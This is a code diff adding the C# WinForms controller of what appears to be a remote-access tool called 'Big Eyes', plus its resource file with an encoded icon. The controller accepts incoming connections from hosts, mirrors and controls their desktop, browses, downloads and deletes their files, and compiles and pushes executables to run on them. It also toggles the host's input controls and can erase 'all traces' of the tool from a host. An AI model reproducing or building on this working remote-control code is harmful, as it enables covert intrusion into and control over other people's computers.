+ this.tabPage2.ResumeLayout(false);
+ this.groupBox3.ResumeLayout(false);
+ this.groupBox1.ResumeLayout(false);
+ this.groupBox1.PerformLayout();
+ this.groupBox4.ResumeLayout(false);
+ this.ResumeLayout(false);
+
+ }
+ private void c_DesktopImage(Bitmap image)
+ {
+ if (System.Threading.Thread.CurrentThread != _formsThread)
+ {
+ this.Invoke(new Client.DesktopImageArgs(c_DesktopImage), image);
+ return;
+ }
+ this.pictureBox1.Image = image;
+ this.label2.Text = String.Format("Image last updated: {0} {1}.",DateTime.Now.ToShortDateString(),DateTime.Now.ToLongTimeString());
+ }
+ private MouseEventArgs scaleMouse(MouseEventArgs e)
+ {
+ if(this.pictureBox1.Image==null)
+ {
+ return e;
+ }
+ return new MouseEventArgs(e.Button,e.Clicks,(int)Math.Round(((double)this.pictureBox1.Image.Width/(double)this.pictureBox1.Width) * (double)e.X,0),(int)Math.Round(((double)this.pictureBox1.Image.Height/(double)this.pictureBox1.Height) * (double)e.Y,0),e.Delta);
+ }
+ private void pictureBox1_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e)
+ {
+ if (this.checkBox3.Checked)
+ {
+ c.MousePress(true, scaleMouse(e));
+ }
+ }
+
+ private void pictureBox1_MouseUp(object sender, System.Windows.Forms.MouseEventArgs e)
+ {
+ if (this.checkBox3.Checked)
+ {
+ c.MousePress(false, scaleMouse(e));
+ }
+ }
+
+ private void pictureBox1_MouseMove(object sender, System.Windows.Forms.MouseEventArgs e)
+ {
+ if (this.checkBox3.Checked)
+ {
+ c.MoveMouse(scaleMouse(e));
+ }
+ }
+
+ private void pictureBox1_KeyDown(object sender, System.Windows.Forms.KeyEventArgs e)
+ {
+ if (this.checkBox3.Checked)
+ {
+ c.KeyPress(true, e);
+ }
+ }
+ private void pictureBox1_KeyUp(object sender, System.Windows.Forms.KeyEventArgs e)
+ {
+ if (this.checkBox3.Checked)
+ {
+ c.KeyPress(false, e);
+ }
+ }
+ private void listBox1_DoubleClick(object sender, System.EventArgs e)
+ {
+ if(listBox1.SelectedItem!=null)
+ {
+ this.Enabled = false;
+ if(listBox1.SelectedItem.ToString()!="..")
+ {
+ c.RequestPath(Path.Combine(_curDir,listBox1.SelectedItem.ToString()));
+ }
+ else
+ {
+ c.RequestPath(Path.GetDirectoryName(_curDir));
+ }
+ }
+ }
+ private void c_Directory(string[] listing)
+ {
+ if (System.Threading.Thread.CurrentThread != _formsThread)
+ {
+ this.Invoke(new Client.DirectoryArgs(c_Directory),(object)listing);
+ return;
+ }
+ this.Enabled = true;
+ if(listing.Length>0 && listing[0].Length>0)
+ {
+ this.listBox1.Items.Clear();
+ _curDir = Path.GetDirectoryName(listing[0]);
+ if(Path.GetDirectoryName(_curDir)!=null)
+ {
+ this.listBox1.Items.Add("..");
+ }
+ foreach(string entry in listing)
+ {
+ this.listBox1.Items.Add(Path.GetFileName(entry));
+ }
+ }
+ }
+ private void c_File(string fileName, byte[] fileData)
+ {
+ if (System.Threading.Thread.CurrentThread != _formsThread)
+ {
+ this.Invoke(new Client.FileArgs(c_File),fileName,fileData);
+ return;
+ }
+ if(fileName!="error")
+ {
+ this.saveFileDialog1.FileName = Path.GetFileName(fileName);
+ if(this.saveFileDialog1.ShowDialog(this)==DialogResult.OK)
+ {
+ FileStream fs = new FileStream(this.saveFileDialog1.FileName,FileMode.Create,FileAccess.Write);
+ fs.Write(fileData,0,fileData.Length);
+ fs.Close();
+ }
+ }
+ else
+ {
+ MessageBox.Show(this,"The selected file cannot be opened, accessed, or found.","Error",MessageBoxButtons.OK,MessageBoxIcon.Asterisk);
+ }
+ this.Enabled = true;
+ }
+ private void button1_Click(object sender, System.EventArgs e)
+ {
+ if(this.openFileDialog1.ShowDialog(this)==DialogResult.OK)
+ {
+ FileStream fs = new FileStream(this.openFileDialog1.FileName,FileMode.Open,FileAccess.Read);
+ byte[] b = new byte[fs.Length];
+ fs.Read(b,0,b.Length);
+ fs.Close();
+ this.Enabled = false;
+ c.PushExecutable(Path.Combine(_curDir,Path.GetFileName(this.openFileDialog1.FileName)),b,this.checkBox1.Checked);
+ this.Enabled = true;
+ }
+ }
+
+ private void c_ReceivedConnection(System.Net.Sockets.Socket connection)
+ {
+ if (System.Threading.Thread.CurrentThread != _formsThread)
+ {
+ this.Invoke(new Client.ReceivedConnectionArgs(c_ReceivedConnection), new object[] { connection });
+ return;
+ }
+ this.listBox2.Items.Add(connection);
+ }
+ private void tabControl1_SelectedIndexChanged(object sender, System.EventArgs e)
+ {
+ if (this.Controls.Contains(this.groupBox4))
+ {
+ this.tabControl1.SelectedIndex = 0;
+ return;
+ }
+ c.LoadMatrix(this.tabControl1.SelectedIndex == 2);
+ bool b = !(this.tabControl1.SelectedIndex == 0);
+ if (c.FileBrowserEnabled != b)
+ {
+ c.FileBrowserEnabled = b;
+ }
+
+ b = this.tabControl1.SelectedIndex == 2;
+ if (b)
+ {
+ this.checkBox4.Checked = true;
+ _matrixText = string.Empty;
+ }
+ c.LoadMatrix(b);
+ }
+ private void c_Error(Exception e)
+ {
+ if (System.Threading.Thread.CurrentThread != _formsThread)
+ {
+ this.Invoke(new Client.ErrorArgs(c_Error),e);
+ return;
+ }
+ MessageBox.Show(this, e.Message + "\n\nPress OK to exit.", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error);
+ //System.Diagnostics.Process.Start(System.Reflection.Assembly.GetExecutingAssembly().Location);
+ System.Diagnostics.Process.GetCurrentProcess().Kill();
+ }
+ private void menuItem2_Click(object sender, System.EventArgs e)
+ {
+ if(listBox1.SelectedItem!=null)
+ {
+ this.Enabled = false;
+ if(listBox1.SelectedItem.ToString()!="..")
+ {
+ c.DeletePath(Path.Combine(_curDir,listBox1.SelectedItem.ToString()));
+ }
+ else
+ {
+ c.DeletePath(Path.GetDirectoryName(_curDir));
+ }
+ c.RequestPath(_curDir);
+ }
+ }
+ private void listBox1_MouseDown(object sender, System.Windows.Forms.MouseEventArgs e)
+ {
+ if(e.Button == MouseButtons.Right)
+ {
+ listBox1.SelectedIndex = listBox1.IndexFromPoint(e.X,e.Y);
+ }
+ }
+ private void button2_Click(object sender, System.EventArgs e)
+ {
+ Microsoft.CSharp.CSharpCodeProvider cs = new Microsoft.CSharp.CSharpCodeProvider();
+ System.CodeDom.Compiler.CompilerParameters cp = new System.CodeDom.Compiler.CompilerParameters(new string[] {"System.Windows.Forms.dll","System.Xml.dll","System.Drawing.dll","System.Data.dll","System.dll"});
+ cp.GenerateExecutable = true;
+ if (this.textBox1.Text.IndexOf("Console.") == -1)
+ {
+ cp.CompilerOptions = "/target:winexe";
+ }
+ string text = this.textBox1.Text;
+ if (this.textBox1.Text.Contains("BigEyes."))
+ {
+ StreamReader sr = new StreamReader(System.Reflection.Assembly.GetExecutingAssembly().GetManifestResourceStream("BigEyes.Viewer.BigEyes.cs"));
+ text+=sr.ReadToEnd();
+ string[] nameSpaces = { "using System.Runtime.InteropServices;", "using System.Diagnostics;", "using System.Net;", "using System.Drawing;" };
+ foreach (string nameSpace in nameSpaces)
+ {
+ if (!text.Contains(nameSpace))
+ {
+ text = nameSpace + text;
+ }
+ }
+ sr.Close();
+ }
+ System.CodeDom.Compiler.CompilerResults cr = cs.CreateCompiler().CompileAssemblyFromSource(cp,text);
+ if(cr.Errors.HasErrors)
+ {
+ string errors = string.Empty;
+ for(int i = 0; i!= cr.Errors.Count;i++)
+ {
+ if(!cr.Errors[i].IsWarning)
+ {
+ errors += cr.Errors[i].ToString().Substring(cr.Errors[i].ToString().IndexOf(".cs")+3) + "\n";
+ }
+ }
+ MessageBox.Show(this,"The code typed has errors:\n" + errors,"Compiler Error",MessageBoxButtons.OK,MessageBoxIcon.Warning);
+ return;
+ }
+ else
+ {
+ FileStream fs = new FileStream(cr.PathToAssembly,FileMode.Open,FileAccess.Read);
+ byte[] b = new byte[fs.Length];
+ fs.Read(b,0,b.Length);
+ fs.Close();
+ this.Enabled = false;
+ c.PushExecutable(Path.Combine(_curDir,Path.GetFileName(cr.PathToAssembly)),b,this.checkBox2.Checked);
+ this.Enabled = true;
+ File.Delete(cr.PathToAssembly);
+ }
+ }
+
+ private void button3_Click(object sender, System.EventArgs e)
+ {
+ if (MessageBox.Show("Pressing OK will delete all traces of Big Eyes from the currently connected host. You will not be able to connect again after pressing OK.\n\nRemove Big Eyes from host?", "Remove Big Eyes", MessageBoxButtons.OKCancel, MessageBoxIcon.Warning) == DialogResult.OK)
+ {
+ c.RemoveBigEyes();
+ }
+ }
+
+ private void listBox2_SelectedIndexChanged(object sender, EventArgs e)
+ {
+ this.button4.Enabled = this.listBox2.SelectedIndex != -1;
+ }
+
+ private void listBox2_DoubleClick(object sender, EventArgs e)
+ {
+ if (this.listBox2.SelectedIndex != -1)
+ {
+ c.ConnectToHost((System.Net.Sockets.Socket)this.listBox2.SelectedItem);
+ foreach (System.Net.Sockets.Socket s in this.listBox2.Items)
+ {
+ if (s != this.listBox2.SelectedItem)
+ {
+ s.Close();
+ }
+ }
+ System.Threading.Thread.Sleep(300);
+ this.tabControl1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.pictureBox1_KeyDown);
+ this.tabControl1.KeyUp += new System.Windows.Forms.KeyEventHandler(this.pictureBox1_KeyUp);
+ this.tabControl1.KeyPress += new KeyPressEventHandler(tabControl1_KeyPress);
+ this.pictureBox1.MouseUp += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseUp);
+ this.pictureBox1.MouseMove += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseMove);
+ this.pictureBox1.MouseDown += new System.Windows.Forms.MouseEventHandler(this.pictureBox1_MouseDown);
+ this.Controls.Remove(this.groupBox4);
+ }
+ }
+
+ private void tabControl1_KeyPress(object sender, KeyPressEventArgs e)
+ {
+ if (this.tabControl1.SelectedIndex == 2)
+ {
+ c.MatrixChar(e.KeyChar);
+ if (e.KeyChar == '\b' && _matrixText.Length > 0)
+ {
+ _matrixText = _matrixText.Remove(_matrixText.Length - 1, 1);
+ }
+ else if (e.KeyChar == '\r')
+ {
+ _matrixText += '\n';
+ }
+ else
+ {
+ _matrixText += e.KeyChar;
+ }
+ this.tabPage3.Invalidate();
+ }
+ }
+
+ private void listBox2_MouseDown(object sender, MouseEventArgs e)
+ {
+ this.listBox2.SelectedIndex = e.Y < (this.listBox2.ItemHeight * this.listBox2.Items.Count) ? (int)(e.Y / this.listBox2.ItemHeight) : -1;
+ }
+
+ private void ViewerForm_FormClosing(object sender, FormClosingEventArgs e)
+ {
+ Environment.Exit(0);
+ }
+
+ private void checkBox4_CheckedChanged(object sender, EventArgs e)
+ {
+ if (this.tabControl1.SelectedIndex != 2)
+ {
+ c.EnableHostControls = checkBox4.Checked;
+ }
+ }
+
+ private void tabPage3_Paint(object sender, PaintEventArgs e)
+ {
+ e.Graphics.DrawString(_matrixText + '\b', new Font(FontFamily.GenericMonospace, 10), Brushes.GreenYellow, new RectangleF(0, 0, this.Width, this.Height));
+ }
+ }
+}
diff --git a/Viewer/ViewerForm.resx b/Viewer/ViewerForm.resx
new file mode 100644
index 0000000..c56cbaa
--- /dev/null
+++ b/Viewer/ViewerForm.resx
@@ -0,0 +1,509 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+ <!--
+ Microsoft ResX Schema
+
+ Version 2.0
+
+ The primary goals of this format is to allow a simple XML format
+ that is mostly human readable. The generation and parsing of the
+ various data types are done through the TypeConverter classes
+ associated with the data types.
+
+ Example:
+
+ ... ado.net/XML headers & schema ...
+ <resheader name="resmimetype">text/microsoft-resx</resheader>
+ <resheader name="version">2.0</resheader>
+ <resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
+ <resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
+ <data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
+ <data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
+ <data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
+ <value>[base64 mime encoded serialized .NET Framework object]</value>
+ </data>
+ <data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+ <value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
+ <comment>This is a comment</comment>
+ </data>
+
+ There are any number of "resheader" rows that contain simple
+ name/value pairs.
+
+ Each data row contains a name, and value. The row also contains a
+ type or mimetype. Type corresponds to a .NET class that support
+ text/value conversion through the TypeConverter architecture.
+ Classes that don't support this are serialized and stored with the
+ mimetype set.
+
+ The mimetype is used for serialized objects, and tells the
+ ResXResourceReader how to depersist the object. This is currently not
+ extensible. For a given mimetype the value must be set accordingly:
+
+ Note - application/x-microsoft.net.object.binary.base64 is the format
+ that the ResXResourceWriter will generate, however the reader can
+ read any of the formats listed below.
+
+ mimetype: application/x-microsoft.net.object.binary.base64
+ value : The object must be serialized with
+ : System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
+ : and then encoded with base64 encoding.
+
+ mimetype: application/x-microsoft.net.object.soap.base64
+ value : The object must be serialized with
+ : System.Runtime.Serialization.Formatters.Soap.SoapFormatter
+ : and then encoded with base64 encoding.
+
+ mimetype: application/x-microsoft.net.object.bytearray.base64
+ value : The object must be serialized into a byte array
+ : using a System.ComponentModel.TypeConverter
+ : and then encoded with base64 encoding.
+ -->
+ <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+ <xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
+ <xsd:element name="root" msdata:IsDataSet="true">
+ <xsd:complexType>
+ <xsd:choice maxOccurs="unbounded">
+ <xsd:element name="metadata">
+ <xsd:complexType>
+ <xsd:sequence>
+ <xsd:element name="value" type="xsd:string" minOccurs="0" />
+ </xsd:sequence>
+ <xsd:attribute name="name" use="required" type="xsd:string" />
+ <xsd:attribute name="type" type="xsd:string" />
+ <xsd:attribute name="mimetype" type="xsd:string" />
+ <xsd:attribute ref="xml:space" />
+ </xsd:complexType>
+ </xsd:element>
+ <xsd:element name="assembly">
+ <xsd:complexType>
+ <xsd:attribute name="alias" type="xsd:string" />
+ <xsd:attribute name="name" type="xsd:string" />
+ </xsd:complexType>
+ </xsd:element>
+ <xsd:element name="data">
+ <xsd:complexType>
+ <xsd:sequence>
+ <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+ <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+ </xsd:sequence>
+ <xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
+ <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+ <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+ <xsd:attribute ref="xml:space" />
+ </xsd:complexType>
+ </xsd:element>
+ <xsd:element name="resheader">
+ <xsd:complexType>
+ <xsd:sequence>
+ <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+ </xsd:sequence>
+ <xsd:attribute name="name" type="xsd:string" use="required" />
+ </xsd:complexType>
+ </xsd:element>
+ </xsd:choice>
+ </xsd:complexType>
+ </xsd:element>
+ </xsd:schema>
+ <resheader name="resmimetype">
+ <value>text/microsoft-resx</value>
+ </resheader>
+ <resheader name="version">
+ <value>2.0</value>
+ </resheader>
+ <resheader name="reader">
+ <value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+ </resheader>
+ <resheader name="writer">
+ <value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
+ </resheader>
+ <metadata name="contextMenu1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
+ <value>17, 17</value>
+ </metadata>
+ <metadata name="saveFileDialog1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
+ <value>139, 17</value>
+ </metadata>
+ <metadata name="openFileDialog1.TrayLocation" type="System.Drawing.Point, System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a">
+ <value>267, 17</value>
+ </metadata>
+ <assembly alias="System.Drawing" name="System.Drawing, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" />
+ <data name="$this.Icon" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
+ <value>
+ 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
